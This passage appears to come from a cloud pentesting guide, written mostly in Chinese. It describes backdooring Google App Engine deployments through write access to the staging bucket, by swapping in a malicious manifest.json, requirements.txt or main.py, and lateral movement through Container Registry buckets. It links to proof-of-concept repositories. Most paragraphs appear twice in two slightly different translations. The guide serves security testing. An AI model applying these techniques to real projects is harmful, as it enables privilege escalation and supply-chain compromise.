**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
AppEngine 的版本会在`staging.<project-id>.appspot.com` bucket 中生成一些数据。该 bucket 内通常有一个名为 `ae` 的文件夹,里面会 AppEngine 应用的每个版本各有一个文件夹,在这些文件夹可以找到 `manifest.json` 文件。该文件包含一个 json,列出创建特定版本必须使用的所有文件。此外,还可以找到**文件的真实名称、它们在 GCP bucket 中的 URLbucket 内文件会以其 sha1 hash 改名)以及每个文件的 sha1 hash。**
AppEngine 的版本会在一个格式`staging.<project-id>.appspot.com`存储桶中生成一些数据。在该存储桶内,可以找到一个名为 `ae` 的文件夹,里面会 AppEngine 应用的每个版本包含一个文件夹,并且在这些文件夹可以找到 `manifest.json` 文件。该文件包含一个 JSON,其中列出了用于创建特定版本的所有文件。此外,还可以找到**文件的真实名称、它们在 GCP 存储桶中的 URL(存储桶内的文件名已改为其 sha1 哈希)以及每个文件的 sha1 哈希。**
_注意:无法事先 takeover bucket,因为 GCP 用户无权使用 appspot.com 域名创建 bucket。_
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
但是,若对该 bucket 具有读写权限,可以通过监控 bucket 在有变更(新版本)发生时尽快修改新版本,从而升到附加在 App Engine 版本上的 SA 权限。这样由这些代码创建的容器就会执行带后门的代码。
然而,如果对该存储桶具有读写访问权限,可以通过监控该存储桶并在每次发生更改(新版本)时尽快修改新版本,从而升到附加在 App Engine 版本上的 SA。这样由这些代码创建的容器就会执行带后门的代码。
上述攻击可以通过多种方式实现,所有方法都从监控 `staging.<project-id>.appspot.com` bucket 开始:
上述攻击可以通过多种方式实现,所有方法都从监控 `staging.<project-id>.appspot.com` 存储桶开始:
- 将完整的新 AppEngine 版本代码上传到另一个可用的 bucket,并准备一个带有新 bucket 名称和文件 sha1 hashes **`manifest.json`**。然后,当原 bucket 中创建新版本时,只需修改 `manifest.json` 并上传恶意版本即可。
- 上传一个被修改的 `requirements.txt`,使其使用恶意依赖代码并更新 `manifest.json`,包括新文件名、URL 及其 hash
- 上传被修改的 `main.py``app.yaml`,使其执行恶意代码,并更新 `manifest.json`,包括新文件名、URL 及其 hash
- 将 AppEngine 版本的完整新代码上传到另一个可用的存储桶,并准备一个包含新存储桶名称和它们 sha1 哈希**`manifest.json` 文件**。然后,当存储桶中创建新版本时,只需修改 `manifest.json` 并上传恶意版本即可。
- 上传一个被修改的 `requirements.txt`,使其使用**恶意依赖代码**并更新 `manifest.json` 文件以包含新的文件名、URL 及其哈希
- 上传一个**被修改的 `main.py``app.yaml` 文件(将执行恶意代码**,并更新 `manifest.json`,包含新的文件名、URL 及其哈希
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** 将镜像存储在 buckets 中,如果你能**写入这些 buckets**,可能能够**横向移动到那些运行这些镜像的地方**
- GCR 使用的 bucket URL 类似于 `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com`(顶级子域在[此处](https://cloud.google.com/container-registry/docs/pushing-and-pulling)有说明)。
- **Google Container Registry** 将镜像存储在存储桶中,如果你能对这些存储桶**执行写入**可能能够**横向移动到运行这些存储桶的地方**
- GCR 使用的存储桶的 URL 类似于 `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com`(顶级子域在 [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling) 指定)。
> [!TIP]
> 服务已弃用,因此此类攻击现在不再有用。此外,作为替代的 Artifact Registry 并不将镜像存储在 buckets 中。
> 服务已弃用,因此该攻击不再有用。此外,Artifact Registry(替代此服务)并不将镜像存储在存储桶中。
## **References**